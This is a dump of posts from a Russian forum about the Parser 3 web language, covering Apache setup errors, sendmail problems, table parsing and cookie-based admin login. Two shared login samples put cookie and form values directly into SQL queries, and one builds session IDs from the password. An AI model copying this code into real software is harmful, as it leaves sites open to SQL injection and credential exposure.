Для БД сам додумай тут не сложно."
"15177","Нельзя использовать функцию rtrim() - это синоним функции chop() которая удаляет не только переходы на новую строку, но и любой пробельный символ\
[b]\\t,\\ ,\\r,\\f,\\n[/b]\
\
А это не корректное решение. Что будет если строка завершается пробелами? :)\
\
По поводу nameless, я вот что подумал.\
Это может понадобиться только если в файле заведомо есть имена столбцов, а вам надо извлеч только данные игнорируя их названия.\
\
Но не целесообразней ли в этом случае использовать только файлы с названиями столбцов. Я вообче не понимаю суть этого упращения и не понимаю зачем PAF это сделал. Я не думаю, что это сильно влияет на экономию ресурсов, зато заставляет человека путаться в данных.\
\
Если кто-нибудь может мне привести пример, когда такой метод необходим. Я конечно его сделаю. Хотя не понимаю, как обрабатывать данные без имен столбцов! :("
"15178","Иногода бывает необходимо сделать в html'е некоторую табличку [например тех. характеристики чего-либо], и  чтобы не мучатся пишешь ее в tab-delimited файл, загружаешь и строишь табличку. Понятно, что метод пишется универсальным для любых файлов.\
\
>Хотя не понимаю, как обрабатывать \
>данные без имен столбцов!\
\
Как в Парсере: присваиваешь столбцам названия сам [например числовые от нуля и дальше]."
"15179","Обещаю почитать доку и сделать как в Парсере :)"
"15180","..т.к. у меня нет строк, заканчивающихся пробелами. Даже если и были бы, я бы их все равно похерил - зачем они мне?\
\
При работе с бинарным типом - возможно. Но Парсер с бинарем не работает - только текст. Мне кажется, что лишние завершающие пробелы - это только груз. Поэтому я и применил rtrim()."
"15181","у меня стоит p3\
Такой глюк - происходит\
^if($b eq \"vasya\"){\
<hr><hr><не важно какой-тэг>&nbsp;</td>\
<td>&nbsp;</td>\
<td>&nbsp;</td>\
\
\
}\
\
Суть такова, что выдает ошибку парсера, убираю &nbsp;\
все окей - предваряю символ амперсант галкой типа ^$nbsp; - фигу\
в литералах читаю ничего про амперсант нет, и на форуме поиск по слову амперсант - нет\
 Что такое что за зверь?\
\
"
"15183","Парсер пишет:\
'if' method of MAIN (MAIN) accepts maximum 3 parameter(s)  type: parser.runtime\
\
Короче он как-то болезнено относится к амперсанту почему??\
В операторе if с учетом амперанта планировались переменные? Или\
это пасхальные яйца ?\
\
"
"15186",", а в символе \";\", который, как всем известно, является служебным, и при необходимости данного символа в тексте, его необходимо предварять ^;. Т.е., ваш &nbsp; должен выглядеть &nbsp^;.\
\
Далее, по проблеме с ^if(). Все дело в том же \";\". Стандартный ^if(условие){да}{нет} идентичен ^if(условие){да;нет}. Сечете?..."
"15187","Через  httpd.conf все работало нормально, но потребовалось перенести рулесы mod_rewrit-а в .htaccess\
Такое ощущение, что через абсолютные пути апач не дает доступа к парсеру\
\
document root:/www/myhost/\
cgi-bin root :/www/myhost/cgi-bin/\
\
----.htaccess------------\
AddHandler parser3-handler .html .htm\
    Action parser3-handler /cgi-bin/parser/parser3.exe\
RewriteEngine on\
Options +FollowSymlinks\
RewriteBase   /\
-------------------------\
\
----rewrite.log----LogLevel 9----\
strip per-dir prefix: /www/myhost/index.htm -> index.htm\
applying pattern '^/www/myhost/(.*)$' to uri 'index.htm'\
pass through /www/myhost/index.htm\
---------------------------------\
\
----error.log---------\
Options FollowSymLinks or SymLinksIfOwnerMatch is off which implies that RewriteRule directive is forbidden: /www/myhost/cgi-bin/parser/parser3.exe\
----------------------\
\
-----acсess.log-----------\
\"GET / HTTP/1.1\" 403 311\
--------------------------\
\
-----browse screen-----403 Forbidden----\
Forbidden\
You don't have permission to access /cgi-bin/parser/parser3.exe/index.htm on this server.\
\
Apache/1.3.19 Server at eholot.t Port 80\
----------------------------------------\
"
"15188","Убрал, все сработало. Кстати, когда пришло сообщение, обратил внимание, что в $env:SERVER_NAME пусто. И вот тут до меня и дошло :)"
"15189","пробовал поставить опенссл  -- работает но, как-то медленно."
"15190","есть таблица $unused\
нужно написать форму с checkbox'ми, что бы можно было выделить нужные записи, и затем удалять их(ну т.е. некое действие совершить)"
"15192","Кто-нибудь ставил Parser 3.0 на azz.ru?\
Бьюсь второй день (причем на второй вместе с администратором azz.ru) ничего не получается... :-(\
\
Стандартая ошибка — Premature end of script headers\
\
Вроде всё делаю правильно, но всё равно не работает :-("
"15195","Загляните на http://www.cpan.org/\
Пересевшие на парсер с перла прикол поймут :-)"
"15197","Да я всё вроде правильно делаю как написано в FAQ: заливаю \"правильную\" версию RedHat; chmod 700 или 750; режим BINARY; опечатка в .htaccess исключена (забирал с www.parser.ru/download/).\
\
ICQ 140652252"
"15199","для тупорылого (меня) разжевать можно, что же все таки вам необходимо?"
"15200","пожалуйста, ответьте на каждое предложение этого текста:\
\
[quote]\
У меня на *nix вылезает ошибка веб-сервера Apache «Internal Server Error», что я делаю не так?\
Посмотрите в лог веб-сервера, там подробно написано, что случилось.\
Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable» или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора).\
Так-же причиной может быть то, что вы «закачали» исполняемый файл на сервер _не_ в режиме binary. В этом случае размер закачаного файла будет отличаться от файла, лежащего на вашем локальном диске.\
Другой причиной может являться опечатка в .htaccess файле, запись в лог файле будет содержать подробное указание, что вы сделали не так.\
В случаях, когда в логе вы увидите иную ошибку, ее текст подскажет вам, как ее исправить.\
[/quote]"
"15202","Если за дату рождения считать публичный релиз..."
"15203","ибо моя напоминалка сообщила, что сегодня кроме дня смеха еще и международный день птиц :)\
\
а вот про день математика она ничего не ведает."
"15206","OK> [Mon Mar 31 19:44:15 2003] /contacts/index.html?send=send&name=\
OK> %EA%F3%EA&email=%EA%F3%F6%EA%F6%F3&firm=%EA%F3%F6%EA%EA&text=%F3%F6%EA:\
OK> /home/pacademy/www/site1/public_html/contacts/index.html(50): 'send'\
OK> Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f\
OK> postmaster key, to change sendmail you should reconfigure and recompie\
OK> it [parser.runtime]\
\
И что сие значит?\
Что нужно тут реконфигурировать?"
"15210","АПP> Заголовок: 'мне необходимо: чтобы вы были счастливы'\
\
Я бы то же очень этого хотел. ;-)\
\
АПP> Сообщение: 'пожалуйста, ответьте на каждое предложение этого текста:\
\
\
АПP> У меня на *nix вылезает ошибка веб-сервера Apache «Internal Server Error», что я делаю не так?\
\
;-)\
\
АПP> Посмотрите в лог веб-сервера, там подробно написано, что случилось.\
\
[Tue Apr  1 14:49:06 2003] [error] [client ххх.ххх.ххх.хх] Premature end of script headers:\
/home/www/servers/orenburgcity.ru/cgi-bin/parser3.cgi\
\
АПP> Типичная ошибка, «Premature end of script headers», означает, что вы забыли поставить бит «executable» или выбрали версию Parser, не соответствующую операционной системе вашего сервера (уточните ее у системного администратора).\
\
Ставил для parser3.cgi chmod 750 или 700\
Версия Linux Redhat 7.2 (а также более ранние версии Redhat)\
на сервере стоит RedHat Linux версии 7.0\
\
АПP> Так-же причиной может быть то, что вы «закачали» исполняемый файл на сервер _не_ в режиме binary. В этом случае размер закачаного файла будет отличаться от файла, лежащего на вашем локальном диске.\
\
Закачивал в BINARY (причем забыл сколько раз и сколько версий перепробовал), для прикола попробовал и в ASCII. Размеры файлов были одинаковыми.\
\
АПP> Другой причиной может являться опечатка в .htaccess файле, запись в лог файле будет содержать подробное указание, что вы сделали не так.\
\
Я забирал текст .htaccess с \"левого\" окна на www.parser.ru/download/\
\
АПP> В случаях, когда в логе вы увидите иную ошибку, ее текст подскажет вам, как ее исправить.\
\
Иногда (видимо когда \"заливал\" в ASCII) писал\
[Mon Mar 31 19:40:58 2003] [error] [client ххх.ххх.ххх.хх]\
(13)Permission denied: mod_mime_magic: can't read\
/home/www/servers/orenburgcity.ru/cgi-bin/parser3.cgi"
"15213","[Tue Apr  1 16:31:12 2003] [error] [client xxx.xxx.xxx.xx] Premature end of script headers: /home/www/servers/orenburgcity.ru/cgi-bin/parser3.cgi"
"15215","А где \"это\"?\
Я ничего в папках моего сервера не нашел...\
\
P.S. Попробую админа azz.ru пригласить, чтобы поучаствовал..."
"15216","Анти - Буду благодарен, очень.\
если не трудно скинте скрипт на мыло..\
"
"15218","Вот тут мне админы azz.ru посказывают, что из консоли скрипт работает, а через HTTP нет."
"15219","если они не хотят вам помогать (очевидно, что-то плохо настроили, и в кусты), попробуйте сами:\
\
напишите однострочный скрипт, который запустит parser'а, а журнал ошибок перехватит:\
\
parser3.sh\
[code]\
#!/bin/sh\
\
echo content-type:text/plain\
echo\
./parser3.cgi 2>&1\
[/code]"
"15220","Объясните - в чем разница? Запустить скрипт вашим шеловским скриптом или сделать так:\
\
[color=\"#b30000\"]\
./parser3.cgi: file not specified\
Parser/3.0.0007 Copyright(c) 2001, 2002 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: ./parser3.cgi [options] file\
Options are:\
    -f config_file  Use this config file (/path/to/auto.p)\
    -h              Display usage information (this message)\
[/color]\
\
И сказать клиенту, что из под щела все нормально.\
\
"
"15221","Тему можно закрыть. Ошибка была в конфигурации httpd.conf."
"15223","Да и удалить наверное ;-)\
\
ВСЕМ ОГРОМНОЕ СПАСИБО КТО ПОМОГАЛ НАМ!!!"
"15224","мне пока не очень понятно, что могло приводить к подобному."
"15225","в сообщении написано(перевожу) скомпилирован с такой-то командой отправки письма.\
\
т.е. нельзя эту команду поменять просто так. специально.\
вам и не нужно, у вас ошибка была в другом.\
\
так что просто уберите $MAIL[ $.sendmail"
"15226","[Mon Mar 31 10:14:43 2003] /contacts/index.html?send=send&name=fdsf&email=fd@fd.fd&firm=fdf&text=fdf: /home/pacademy/www/site1/public_html/contacts/index.html(50): 'send' '/usr/sbin/sendmail' reported problem: UNKNOWN (65) [email.send]"
"15227","а что 65, это неправильный адрес, я вам уже писал, вы проверили?"
"15228","Вот какой у меня код:\
\
^mail:send[\
$.from[$form:name <$form:email>] \
$.to[Ананьина И. Г.<suhrob@poldes.spb.ru>] \
$.subject[Письмо с сайта «Принт-Академии»: $form:subject] \
$.text[\
Тема: $form:subject\
\
$form:text\
_________________\
$form:name\
Фирма: $form:firm\
]\
]\
\
"
"15229","уверен, во $.from у вас левый адрес вышел."
"15230","Похоже так и было. Спасибо, за разборку мои полетов!\
Немного не удобно, теперь придется ставить проверку этого поля."
"15232","Спасибо"
"15235","Почему посты с новыми ответами не поднимаются? Нужно решить реальную проблему а тема болтается на второй странице где то снизу, кто туда полезет? ну не постить же по новой рядом с зоологическими исследованиями родословной парсера. Юмору должно быть место но не в ущерб делу. \
Кто знает ответ на вот это \
http://www.parser.ru/forum/?id=14941"
"15237","Спасибо. Про try совсем забыл.\
"
"15239","Или набрать в поиске по документации эти волшебные слова...\
\
http://www.parser.ru/docs/search.html?text=%CF%EE%EB%F3%F7%E5%ED%E8%E5+%EE%E3%EB%E0%E2%EB%E5%ED%E8%FF+%EA%E0%F2%E0%EB%EE%E3%E0&doDocSearch=%CD%E0%E9%F2%E8"
"15240","Для того, чтобы понять, почему не будет (если есть желание) - предлагается ознакомится с тем, что-же такое веб сервер, что-же такое парсер как CGI/модуль для веб сервера и чет это отличается от файлового доступа."
"15242","Как на этом форуме устроена авторизация? Спрашиваю потомучто вот что происходит:\
На этом форуме бываю каждый день. Вчера вечером заходил, ввёл пароль - всё путём. Завершить работу не нажимал, так окно закрыл и всё. Сегодня открываю - я уже авторизован (и пароля вводить не нужно). Так и должно быть? Неужели кука так долго хранится?"
"15243","Прошу прощения, но все же я не догоняю...\
\
[code]\
^твоя_таблица.menu{\
	^if(^твоя_таблица.line[] >= $scroller.record_number && ^твоя_таблица.line[] <= ($scroller.record_number + $scroller.number_per_section - 1)){То что нужно вывести}\
}\
[/code]\
\
В моем случае (гостевая с БД) надо найти замену [code]твоя_таблица.line[/code], если я правильно понял...\
\
Не могу никак придумать."
"15244","> Почему посты с новыми ответами не поднимаются?\
\
Это не нужно! Делаешь поиск по текущей дате и самые свежие сообщения оказываются вверху. Выбираешь их и ты в нужной ветке (она может быть хоть на 10-ой странице!)\
\
У меня есть ещё два рационализаторских предложения к Мише:\
Предложение №1:\
Я хочу предложить добавить на форум \"закладки\" (избранное) для зарегистрированных пользователей - как всё это организовать я придумал, только пока сам ещё в код не превратил (но скоро чувствую превращу :))\
Идея следующая: когда зарегистрированный пользователь читает сообщение, то он может поставить напротив него \"галочку Добавить в избранное\", т.е. сделать в БД закладку на всю ветку (таблица из 2-х полей: код пользователя, код корневого сообщения данной ветки), которой принадлежит данное сообщение (ну и соответсвенно должна быть возможность удалять из \"избранного\"). Ещё должен быть раздел \"Моё избранное\", где будут выводиться корневые сообщения добавленных в избранное веток. Таким образом каждый сможет следить за интересной ему темой, даже если эта ветка со временем уползёт в конец форума! А когда надоест - удаляй ветку из избранного!\
\
Предложение №2:\
когда ветка слишком большая (на несколько экранов), то не совсем удобно прочитав сообщение листать в ветке к следующему ответу. Чтобы было всем счастье, нужно добавить в код 2 строчки :)\
активное сообщение в ветке метить <A name=\"select\">...</A>\
а в верху делать ссылочку <A href=\"#select\">Перейти к данному сообщению (или какой-то другой текст)</A>\
Работы на 5 секунд (чтобы добавит \"select\"), а КПД возрастает в несколько раз :))\
\
Вот собственно и всё!"
"15245","сессионная удаляется когда броузер закроешь.\
а с авторизацией и изменением паролей здесь творятся какие-то странные вещи :( или это только у меня"
"15246","я ввожу логин/пароль и жму кнопочку \"войти\"\
Типа вхожу (форма для входа пропадает, появляется мой ник[Настройки | Завершить работу ])\
Начинаю щёлкать по ссылкам опять появляется форма залогиниться. Если хочу изменить настройки тоже выдаёт форму \"зарегистрроваться\"\
\
ОЧЕНЬ СТРАННО!!! :( "
"15247","Пополнилась коллекция экранных шрифтов новым шрифтом \"Sauria\".\
Все шрифты, представленные в коллекции рисовал я сам, если вы заметили некую схожесть с другим шрифтом - весьма может быть, хотя я рисовал их без использования каких-либо образцов.\
Названия тоже придумывал на ходу.\
Кому шрифты понравятся, можете использовать в своих нуждах. Если укажите автора, буду признателен.\
http://www.spearance.ru/parser3/fonts/"
"15248","мне вчера процитировали такой вот кусок из некого \"руководства\":\
\
\"многие скрипты не используют встроенную PHP-функцию mail(), которая обеспечивает безопасную отправку почты. Вместо этого почта отправляется через программу sendmail с помощью popen(). Это делает код весьма неустойчивым к искажению данных и представляет собой \"дыру\" в безопасности системы (получателю можно отправить /etc/passwd).\"\
\
Хочется услышать мнения на этот счёт!\
\
И ещё: можно ли как-то проверить из парсера существование хотя бы почтового сервера (про наличе на нем нужного почтового ящика не спрашиваю :)) - мне кажется что такое в принципе не возможно (по крайней мере без отправки туда почты, а если вдруг сервер на недельку \"заболел\" и выключен???)\
Может быть я заблуждаюсь и найдутся умные люди, которые вернут меня на путь истинный :)\
\
Заранее спасибо!"
"15251","Даже чего-то сообщение пустое отправилось :)\
За сие пардон!"
"15252","1.\
Закладки уже есть. Прямо у тебя в браузере. Чем не нравятся?\
\
2. \
ИМХО когда не видно от чего произошел пост (а по href=# он прыгнет к текущему посту, а предыдущие, если снизу места хватит, останутся за экраном) - это сакс. Текущий и так выделен, сортировка - у тебя в настройках. Все видно и понятно - лепота.\
\
PS: Чем мне нравится этот форум - пока сразу толпа народу не взревет, ничего не поменяется и наоборот (как в случае с \"форумом\" по центру :). Так держать!"
"15253","Тебе просто нужно из базы брать данные которые соответствуют 2-м условиям...\
>= $scroller.record_number\
и\
<= ($scroller.record_number + $scroller.number_per_section - 1)\
как делать выборку из базы смотри по форуму, обсуждалось неоднократно."
"15254","Ты бы свой браузер проверил на правильное пережевывание печеньев? Поставь Cookie Pal какой-нибудь."
"15255","Что делать если ты работаешь на форуме с разных компов (с работы, из дома, или вообще из интернет-кафе) - на диске за собой свой собственный броузер таскать с настройками что ли??? :)\
\
>2. ... Текущий и так выделен, сортировка - у тебя в настройках. >Все видно и понятно - лепота.\
\
тут я что-то тебя не понял. В каких настройках???\
А если я не зарегистрирован!? Чего мучаться что ли??? когда такую удобную фичу добавить можно за 5 секунд. \
Я говорю про то, когда у тебя ветка 100 сообщенй содержит и ты читаешь тело 67-го сообщения, а потом решил почтать 68-е: сейчас все крутят полосу прокрутки и ищут глазами, я предлагаю добавить ссылочку - щёлкнул о ней и вот то место в ветке где ты остановился!!!\
А кому не понравится нововведение - пусть скрол на мышке дальше продолжают крутить и выискивать в ветке пост, который \"чёрный\" (без ссылки) :)\
"
"15256","Я на парсере написал авторизацию на своём сайте - из этого же броузера смотрю всё нормально работает, а здесь глюки получаются, да и вроде старничка не закеширована - странно!\
\
Я про глюки пиши не потому, что такой злобный :) (насамом деле всё не так) - просто хочу чтобы классный форум стал ещё более классным!"
"15257","Не могу нормально сохранить документ в формате XML - парсер пишет, что кодировка windows-1251 не поддерживается (ни при загрузке, ни при сохранении)\
Сохраняет только в формате UTF-8, на остальные кодировки кричит...\
Для меня этот вариант не является приемлемым.\
Может, есть другие способы загружать и сохранять документы в \"нормальных\" кодировках?"
"15259","подумаю...\
\
а второе предложение мне не кажется полезным."
"15260","я их (проблем) не нахожу. очему они у кого-то есть нужно попытаться понять."
"15262","$record[^string:sql{SELECT name\
                    FROM task_kind\
                    WHERE nmbr=(SELECT task_kind\
                FROM heading_kind\
        WHERE nmbr=$heading_table.kind_nmbr)}[$default{Болт!}]]\
говорит\
 'sql' produced no result, but no default option specified [parser.runtime]\
вроде записал я default.\
\
"
"15263","точку пропустил.."
"15265","для маленькх веток оно действительно бесполезное (СОГЛАСЕН!!!!), а для тех которые на несколько экранов не вмещаются - очень даже полезное. но это всего лишь идея, которую можно как внедрить, так и отвергнуть."
"15266","Парсера:\
- не менять дизайн каждой из 20 страниц сайта, А поменять лишь в одном месте, и везде поменяется само. (например: да что угодно)?"
"15268","Можно сделать dig домен MX и анализировать парсером результаты."
"15270","а у вас какое разрешение экрана - 600х400 ? У меня  - 1024х768 - и все у меня путем - все треды вижу в одно окно-место. Бывают, правда, приколисты, типа erg'а - разводят тред так, что scroll bar теряется - но таких тредов не много, и обычно, ничего интересного в них нет. Кому нужно - пусть листают, крутять, скроллят. Из-за двух-трех тредов изменять работу форума - последствия могут быть, знаете ли... Помнится, как-то Миша тут ссылку с надписи убрал - знаете, что было?! Так что, пусть остается, как есть. Все привыкли - всем нравится."
"15271","Люди добрые, поможите. У сайта почему-то переключается кодировка при его просмотре. Заказчик ругается, грозит жалование урезать.\
\
При переходе внутри сайта с одной страницы на другую у некоторых пользователей (у них Internet Explorer 5, по моему) иногда (даже вроде не каждый раз) кодировка Кириллица (Windows) слетает и переводится на \"левую\". Как можно решить эту проблему? Язык скриптов сервера тут, наверно, не при чем? Чем это может быть вызвано? Что сделать с заказчиком?\
"
"15272","в конфигурационном файле по-умолчанию [из раздела download] было указано, видимо, вы его изменили к худшему."
"15273","Весь \"дизайн\" хранится в файле авто.п\
подробнее смотрите в документации"
"15274","...когда первый раз захожу на форум, сразу не логинит, и мои ответы не подсвечиваются болдом, хотя имя уже сидит в окошке ввода. А когда делаю рефреш или по ссылке перехожу, автоматом логинит, хотя пароль не введен. Не знаю, баг это или фича, но мне не мешает, даже нравится, по этому Мише жаловаться не буду :)\
\
но если что, всё это происходит под Win98/XP с IE 6 sp1, Privacy=Medium, если закрыть окна браузера - всё по новой..."
"15275","Не верится даже, что никто ничего не скажет...\
будем ждать"
"15276","вы куда-то потеряли auto.p с…\
[code]\
@conf[]\
$CHARSETS[\
…\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
…\
[/code]"
"15278","PAF, будь добр, сделай при сранении с шаблоном filter опцию i (игнорировать регистр), а то ведь расширение файла может быть jpg JPG jPG — а суть та же..."
"15279","MetaWizard, дорогой, будь добр, пришли patch, чтобы мне легче было?"
"15280","урок 1 мешает продолжить освоение парсера все сделал как написано,но на странице нет меню,(парсер фурычит написал туда же\
2*2=^eval(2*2)- считает),нет ошибок.Может дело в файле с таблицей.\
С уважением к вашему опыту.Юрий."
"15281","Поищи по форуму, тут много про это писали"
"15282","Подскажите пожалуйста\
\
Хочу на сайте сделать страницу для редакторов. На главной странице человек вводит логин и  пароль и в зависимости от них его отправляют в тот или иной раздел, который он редактирует\
\
1. Какими принципами нужно руководствоваться при создании таких систем (Вообще, как обычно это делается)?\
2. как сделать, чтобы редатор потом вышел из сеанса и  никто не смог бы в него зайти?\
"
"15283",">Что делать если ты работаешь на форуме с разных компов \
1. Да. Действительно. Не подумал.\
:(\
;)\
\
2. Ну, я имхо сказал. Много сообщений в ветках этого форума не так часто бывает. Он проблемный (двух трех посылок в rtfm обычно хватает :), и все здесь способствует тому, чтобы проблемы побыстрее решались и не задерживались на первой странице. Эдакие антифлеймовые неудобства. :)"
"15284","...вы правильно предполагаете - ошибка в файле-таблице, которая содержит ваши секции. При копировании из доки (как там ошибочно советуется) и paste результата в файл, формат файла получается не совсем tab-delimited - почему-то между столбцами таблицы появляется по 2, а то и по 3 tab'a. Проверьте это, и перепишите таблицу вручную (знаком такой способ?..:)..)\
\
P.S. Данный пост является решением, если у вас действительно все работает исправно, за исключением вывода содержимого таблицы. В противном случае - search the forum."
"15285","...Парсер на сервер на виртуальном Хостинге? и КАК это сделать?"
"15286","...это все проделки MSIE - что-то он, зараза, не есть куки с первого раза.\
\
P.S. Система WinXP SP1, MSIE 6.0 SP1..."
"15288","Ну, у меня глючили куки на xp+ie6, как-то раз в одном проекте (только там перл был). Именно на одном компе, именно в одном проекте. Что это такое было, я так и не понял, потому что потом загадочно пропало. Наверное, мистика. У тебя, наверное, тоже :)"
"15289","Сейчас мне в лицо будут кидать яичницу с помидорами(гнилые яйца и тухлые помидоры)\
\
Но я это делаю примерно так:\
Сначала авторизация РедАктора \
\
Берешь базу (у меня - МУскул)\
в ней таблица Админ\
[code]\
CREATE TABLE `admin` (\
  `id` int(5) unsigned NOT NULL auto_increment, #\
  `login` varchar(40) default NULL,             #ЛОгин РедАктора\
  `passwd` varchar(255) default NULL,           #Его пароль\
  `session` varchar(50) default NULL,           #Сюда писать сессионную куку\
  `last_time` date default NULL,                #Здесь хранить время последнего визита\
  PRIMARY KEY  (`id`),\
  UNIQUE KEY `id` (`id`),\
  KEY `id_2` (`id`)\
) TYPE=MyISAM;\
[/code]\
потом, когда юзер логинится проверяешь есть ли такой логин, если есть, то проверяешь похож ли его парол на тот хэш, который лежит в базе (Батько ПАФ сказал не хранить НИ ВКОЕМ СЛУЧаЕ пароль в открытом виде, советую слушаться Мудрых советов)\
если все нашлось и совпало - создаешь рендомом + крипт Во-о-о-о-от такое число и пишешь его в базу и клиенту в Сессионный Куки (хранится ддо тех пор, пока не закроешь браузер)\
\
Потом нижеприведенным проверяешь так\
^is_redactor[секретная инфа;пусто]\
[code]\
\
@is_redactor[OK;NOTOK]\
^if(def $cookie:admin && def $cookie:ps_session){\
^connect[$connect_string]{ \
$user[^table::sql{select session from admin where login='$cookie:shop'}]\
\
^if($cookie:ps_session eq $user.session){\
\
$OK\
\
\
}{\
$NOTOK\
}\
}\
}{\
#NO cookie\
\
$NOTOK\
\
}\
[/code]\
Это у меня работает на внутреннем сайте а на внешних я еще добавляю проверку времени аоследнего визита - если прошло больше какого-то времени -  не пускаю без повторной авторизации.\
\
\
\
Надеюсь хоть чем-то помог.\
Redactor"
"15290","с другого компа у меня всё нормально работает, а с моего не хочет :)) попробую куки грохнуть (в смыле стереть все нафиг), может какой-то лишний кук прописался гад, сидит и всем мешает :))\
т.к. когда я пишу на форум как незарегистрированный пользователь мой ник и мыло в форму сами подставляются. может эти кукисы мешают? короче нужно ставить эксперимент и его положительные результаты (если таковые будут) слать Мише :)"
"15291","пример из вашей доки на метод replace не работает. вот такая ошибка\
\
Array::get(1) out of range [0..0]\
\
--------------------------------------------------------------------------------\
replace /www/newtio/usersarea/tmp.html(6)\
"
"15292","Спасибо. И не лень писать было\
Попробую что-нить такое сообразить\
\
Но всё-таки, интересно, как другие тоже самое делают"
"15293","...перечтите доку, перепечатайте вручную."
"15294","...можно еще апачем через .htpasswd, но мне он не очень..."
"15295","НИкак не могу победить, уже давно %)\
задача:\
1. во входной строке найти все подрядидущие символы-неразделители (\\S) в количестве более 30 и через каждые 30 разбить их пробелами\
2. найти 3 и более идущих подряд одинаковых! разделителя и заменить их на один точно такой же разделитель (т.е. три табуляции на одну, четыре пробела на один, восемь переводов строк на один перевод)\
решал такую задачу на php и asp но не через regexp, хочется сделать на парсере и через regexp\
и вообще, возможно ли это сделать? ;)"
"15296","Уважаемый, redactor!\
А что такое внутренний сайт и внешний ?"
"15297","Расскажите, пложалуйста, как на parser сделать POP3-клиент?\
Есть необходимость сделать на сайте почтовый робот для автоматической обработки писем."
"15298","Это не термин, а, скорее, сленг.\
Внутренний - это конторый видно только внутри нашей локальной сети.\
 Тык-сыть в демиллитаризованной зоне. Бояться некого. Всех знаю - никто \"справочник - записную книгу - доску объявлений - и много еще чего для сотрудников\" здорово ломать не будет.\
А вот ежели выложить все это добришко в интернет - то это станет внешним сайтом."
"15299","а я пробелы писал. и вообще я сделал копи-паст примера. а доку сам перечитывай и переписывай... если больше нечем заняться. лажа какая-то."
"15300","Он не со зла.\
Переписывать не стоит. Просто после копи-пейста нужна еще одна несложная операция.\
Там и правда пробелы вместо табов. что заменить сложно?\
Был у меня один знакомый, который купил книгу про е - магазин, потом сканировал листинги, распознавал, а они не работали. Так он еще и в магазин пошел ругаться:\"Продали книгу с ошибками\". А сейчас програмером работает в серьезном предприятии."
"15301","это-же две совершенно разные задачи.\
1.\
[code]\
^str.match[(\\S{30})(?!\\s)][g]{$match.1 }\
[/code]\
\
2.\
[code]\
^str.match[(\\s)\\1{2,}][g]{$match.1}\
[/code]\
"
"15303","Миша, сонце )) Я и семью не смог %)))))\
Щас проверю как оно работает и пойму где я то косячил ;)"
"15304","Только отсутствует еще одна маленькая но важная проверка: ip\
Я беру табличку\
[code]\
CREATE TABLE sessions (\
  id bigint(20) unsigned NOT NULL auto_increment,\
  nick bigint(20) unsigned NOT NULL default '0',\
  uid char(32) NOT NULL default '',\
  ip char(16) NOT NULL default '',\
  PRIMARY KEY  (id),\
  KEY uid (uid),\
  KEY ip (ip)\
) TYPE=MyISAM;\
[/code]\
\
проверяю при каждом обращении а админ ли у нас \
[code]\
@check_login[]\
^if(!def $cookie:userlogin){\
	$result[false]\
}{\
	^MAIN:dbquery{$res(^int:sql{select count(id) from sessions where uid='$cookie:userlogin' and ip='$env:REMOTE_ADDR'})}\
	^if($res==0){\
		$result[false]\
	}{\
		^MAIN:dbquery{$userid(^int:sql{select nick from sessions where uid='$cookie:userlogin'}[$.limit(1)])}\
		^MAIN:dbquery{$author[^string:sql{select concat_ws(' ',firstname,secname,lastname) from users where id='$userid'}]}\
			$result[true]\
	}\
}\
#end of @check_login[]\
[/code]\
\
а сам логин вот так происходит:\
[code]\
@make_login[]\
^if(!def $form:name || !def $form:passwd){\
	^login_page[notcomplite]\
}{	\
	^MAIN:dbquery{$res(^int:sql{select id from users where nick='$form:name' and password=MD5('$form:passwd')}[$.default{0}])}\
	^if($res==0){\
		^login_page[incorrect]\
	}{\
		$uidstr[${form:passwd}${form:name}${env:REMOTE_ADDR}{^math:random(10000)}]\
		^MAIN:dbquery{^void:sql{insert into sessions(nick,uid,ip) values('$res',MD5('$uidstr'),'$env:REMOTE_ADDR')}}\
		^MAIN:dbquery{$uid[^string:sql{select MD5('$uidstr')}]}\
		$cookie:userlogin[\
			$.value[$uid]\
			$.expires[session]\
		]\
		$response:location[^MAIN:servername[]/admin/index.html]\
	}\
}\
#end of @make_login[]\
[/code]\
\
при логауте не забывай вычищать sessions и куку %)"
"15306","Суть такая. есть в базе некие  записи. Согласно им строится что-то на сайте, по нужному url'у. Не новая мысля, правда? ;)\
\
1)Так вот, если в базе что то есть, то нужно объявить процедуру (или как ее там) в главном auto.p, а если в базе ничего нет то соответственно определять ее не нужно. т.е. ^if(лалала is junction) было false. \
\
2)И еще: человеки хотят, чтобы к той инфе из базы можно было что-то ручками добавить в index.html по нужному пути. Т.е. для каждого url’а есть некая запись в базе, которая говорит что к этому url’у вешать. И каждому url’у также соответствует  (логично правда %) index.html. Так вот, в этом файле очень нужно добавлять что-то  ручками в процедуру к уже имеющееся информации собранной из базы, не затирая предыдущую информацию.  \
\
Эти опросы можно решить как-то на PARSER’е или нет? \
\
Все заранее благодарен."
"15308","-> поставить Parser на мой комп, на Котором Нет ни какого сервера (только дайлаповский выход в сеть ;), чтобы ПОУЧИТЬСЯ и Попробавать Parser в действии? КАК это сделать? \
ПРОСТО, Пока нет возможности купить хостинг, да и не время еще - не готов :)\
"
"15311","http://dklab.ru/chicken/web/packages/base_parser.html"
"15313","Вас что, по весне девушка бросила?...:)\
\
Я имел ввиду, что таблица подстановок должна быть объектом класса table. Но код, приведенный в доке, в разделе по ^string.replace[], действительно ошибочный. Поэтому я вам советую прочесть данный раздел доки, где написано про структуру таблицы подстановок. И код, приведенный в виде примера, не copy/paste, а перепечатать.\
Сечете?\
\
P.S. И не надо думать, что я вас как-то недолюбливаю - данный форум не место, где следует выяснять отношения, да и я выше этого."
"15314","Nameless \
\
1. если читать таблицу созданную с полями с этим параметром, то он выведет поля в строке.\
\
2. если читать таблицу созданную без полей без этого параметра, то он возьмет верхнюю строку и сделает из неё имена полей.\
\
Я все правильно понял?\
\
3. Если таблица загружается с Nameless параметром, то её поля по умолчанию не имеют имен или имеют от 0 ... N?\
\
Спасибо."
"15315","nameless таблица не содержит названий стобцов, и индексация происходит начиная с 0 - $my_table.0, $my_table.1,...\
\
Обычная, namefull..:), таблица за названия столбцов принимает значения столбцов первой строки таблицы.\
\
[b]пример nameless таблицы :[/b]\
[code]\
$table[^table::create[nameless]{1        Products        /products/\
2        Support         /support/\
3        Gallery         /gallery/}]\
[/code]\
в данном примере к столбцам нужно обращаться по индексу. Таким образом, $table.0 вернет 1, $table.1 - Products и $table.2 - /products/\
\
[b]пример namefull таблицы :[/b]\
[code]\
